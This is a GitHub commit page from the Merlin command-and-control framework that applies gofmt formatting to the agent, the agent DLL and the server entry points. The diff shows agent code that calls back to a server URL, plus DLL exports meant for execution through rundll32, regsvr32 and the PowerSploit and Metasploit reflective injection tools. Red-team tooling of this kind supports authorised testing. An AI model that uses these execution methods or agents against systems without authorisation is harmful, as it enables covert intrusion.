Skip to content

Commit

Permalink
gofmt -s updates
Browse files Browse the repository at this point in the history
  • Loading branch information
Ne0nd0g committed Jan 1, 2019
1 parent 84b0395 commit 5579330
Show file tree
Hide file tree
Showing 12 changed files with 569 additions and 449 deletions.
5 changes: 2 additions & 3 deletions cmd/merlinagent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -36,14 +36,13 @@ import (
var url = "https://127.0.0.1:443/"
var build = "nonRelease"


func main() {
verbose := flag.Bool("v", false, "Enable verbose output")
version := flag.Bool("version", false, "Print the agent version and exit")
debug := flag.Bool("debug", false, "Enable debug output")
flag.StringVar(&url, "url", url, "Full URL for agent to connect to")
protocol := flag.String("proto", "h2", "Protocol for the agent to connect with [h2, hq]")
sleep := flag.Duration( "sleep", 30000*time.Millisecond, "Time for agent to sleep")
sleep := flag.Duration("sleep", 30000*time.Millisecond, "Time for agent to sleep")
flag.Usage = usage
flag.Parse()

Expand All @@ -64,4 +63,4 @@ func usage() {
fmt.Printf("Merlin Agent\r\n")
flag.PrintDefaults()
os.Exit(0)
}
}
20 changes: 10 additions & 10 deletions cmd/merlinagentdll/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -33,19 +33,19 @@ var url = "https://127.0.0.1:443/"
func main() {}

// run is a private function called by exported functions to instantiate/execute the Agent
func run(URL string){
a := agent.New("h2",false, false)
func run(URL string) {
a := agent.New("h2", false, false)
a.Run(URL)
}

// EXPORTED FUNCTIONS

//export Run
// Run is the main function used to start the Merlin agent taking 1 argument for the Merlin server's address
func Run(){
func Run() {
// If using rundll32 spot 0 is "rundll32", spot 1 is "merlin.dll,VoidFunc"
if len(os.Args) >= 3 {
if strings.HasPrefix(strings.ToLower(os.Args[0]),"rundll32"){
if strings.HasPrefix(strings.ToLower(os.Args[0]), "rundll32") {
url = os.Args[2]
}
}
Expand All @@ -54,28 +54,28 @@ func Run(){

//export VoidFunc
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
func VoidFunc() {run(url)}
func VoidFunc() { run(url) }

//export DllInstall
// DllInstall is used when executing the Merlin agent with regsvr32.exe (i.e. regsvr32.exe /s /n /i merlin.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
// TODO add support for passing Merlin server URL with /i:"https://192.168.1.100:443" merlin.dll
func DllInstall(){run(url)}
func DllInstall() { run(url) }

//export DllRegisterServer
// DLLRegisterServer is used when executing the Merlin agent with regsvr32.exe (i.e. regsvr32.exe /s merlin.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
func DllRegisterServer(){run(url)}
func DllRegisterServer() { run(url) }

//export DllUnregisterServer
// DLLUnregisterServer is used when executing the Merlin agent with regsvr32.exe (i.e. regsvr32.exe /s /u merlin.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
func DllUnregisterServer(){run(url)}
func DllUnregisterServer() { run(url) }

//export ReflectiveLoader
// ReflectiveLoader is used when calling Metasploit's windows/manage/reflective_dll_inject module.
// This is broken and causes the process to crash
func ReflectiveLoader(){run(url)}
func ReflectiveLoader() { run(url) }

// TODO add entry point of 0 (yes a zero) for use with Metasploit's windows/smb/smb_delivery
// TODO move exported functions to merlin.c to handle them properly and only export Run()
// TODO move exported functions to merlin.c to handle them properly and only export Run()
8 changes: 4 additions & 4 deletions cmd/merlinserver/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -26,12 +26,12 @@ import (
"github.com/fatih/color"

// Merlin
"github.com/Ne0nd0g/merlin/pkg"
"github.com/Ne0nd0g/merlin/pkg/banner"
"github.com/Ne0nd0g/merlin/pkg/servers/http2"
"github.com/Ne0nd0g/merlin/pkg/logging"
"github.com/Ne0nd0g/merlin/pkg/core"
"github.com/Ne0nd0g/merlin/pkg/cli"
"github.com/Ne0nd0g/merlin/pkg"
"github.com/Ne0nd0g/merlin/pkg/core"
"github.com/Ne0nd0g/merlin/pkg/logging"
"github.com/Ne0nd0g/merlin/pkg/servers/http2"
)

// Global Variables
Expand Down
Loading

0 comments on commit 5579330

Please sign in to comment.